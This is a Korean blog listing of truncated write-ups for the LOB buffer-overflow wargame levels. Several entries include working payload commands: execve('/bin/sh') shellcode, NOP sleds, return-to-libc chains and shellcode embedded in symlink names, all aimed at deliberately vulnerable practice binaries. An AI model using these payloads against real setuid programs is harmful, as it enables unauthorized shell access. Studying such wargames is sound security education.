본문 바로가기

Wargame/LOB(끝)

(23)
bugbear -> giant 일단 중간중간 찍은 스샷부터 0x40058ae0 --> system 0x400fbff9 --> binsh0x400a9d48 --> execve0xbffffb0c --> null0x400391e0 --> exit 포인터 배열0xbffffad4&execve &exit &binsh&&binsh &null"`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\x02\xfc\xff\xbf" + "\xa0\xfa\xff\xbf"'`" ./"`python -c 'print "\xf9\xbf\x0f\x40"'`" "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0..
darkknight -> bugbear RTL. 문제에 스택 자체를 사용하지 못하게 스택 앞 주소인 \xbf 를 아주 막아놓았다.#include #include main(int argc, char *argv[]){char buffer[40];int i; if(argc < 2){printf("argv error\n");exit(0);} if(argv[1][47] == '\xbf'){printf("stack betrayed you!!\n");exit(0);} strcpy(buffer, argv[1]); printf("%s\n", buffer);} 따라서 우리는 스택의 실행권한이 없거나, 네트워크 단에서 쉘코드를 막아놓았을 때 쓸 수 있는 RTL 기법을 사용해서 이 문제를 풀 수 있다. 일단 먼저 system 함수의 위치, /bin/sh 의 위치,..
공유 라이브러리 하이재킹, 1 byte overwirte 는 건너뜁니다. 나중에 좀더 이해하면 푸는걸로...무작위 대입 스크립트로 짜서 문제만 넘겼습니다darkknight / new attacker
vampire -> skeleton argv 전체,환경변수 전체 를 초기화 시킨다.마땅한 페이로드가 생각나지 않아 삽질하던중,메모리에 파일의 경로 값이 남는것을 발견했다. 그래서 gdb 로 확인을 해봤더니, 정말 초기화가 되지 않았다. 인자에 포함이 되지 않는 값인 것 같다. 그래서 심볼릭 링크를 이용해, (하드링크시 아이노드가 복사되어서 권한이 변경된다.)파일 이름에 쉘코드를 포함시켰다. [vampire@localhost payload]$ ls????????????????????????????????????????????????????????????????????????????????????????????????????h?��?h�?SThjo?�h?i0chi0tij?Y�??Iy�A��T�[vampire@localhost payload]$..
troll -> vampire argv 길이 제한이 없어졌다.대신 RET 가 bf 다음 ff 면 거른다.따라서 ff 주소를 뛰어넘을bffe~~~ 주소를 찾아야 한다.argv 길이 제한이 없으므로, argv[1] 뒤에 NOP를 많이 붙여줌으로써 buffer 의 시작위치를 뒤로 보낸다. [troll@localhost asdf]$ ../vampire `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*19 + "\x30\x72\xfe\xbf" + "\x90"*100444'`bash$ my-pass euid = 509 music world bash$
gdb 특정 값찾기 (gdb) set $x=0x08071000(gdb) while(*++$x!=0x90909090)>end(gdb) x/10b $x
orge -> troll [orge@localhost tmp]$ rm -rf ./* [orge@localhost tmp]$ ln -s ../asdf/a.out `python -c 'print "\x90"*1000 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` ln: ������������������������������������������������������������������������������������������..
darkelf -> orge argv[0] 체크가 추가되었다.하지만 전에 썼던 방범과는 무관한 제한이므로 전 페이로드를 그대로 쓰도록 하겠다. (argv[2] 이용) [darkelf@localhost tmp]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "\x90"*44 + "\xd2\xf7\xff\xbf" + " " +"\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` argv[2] = 0xbffff7b9 ����������������������..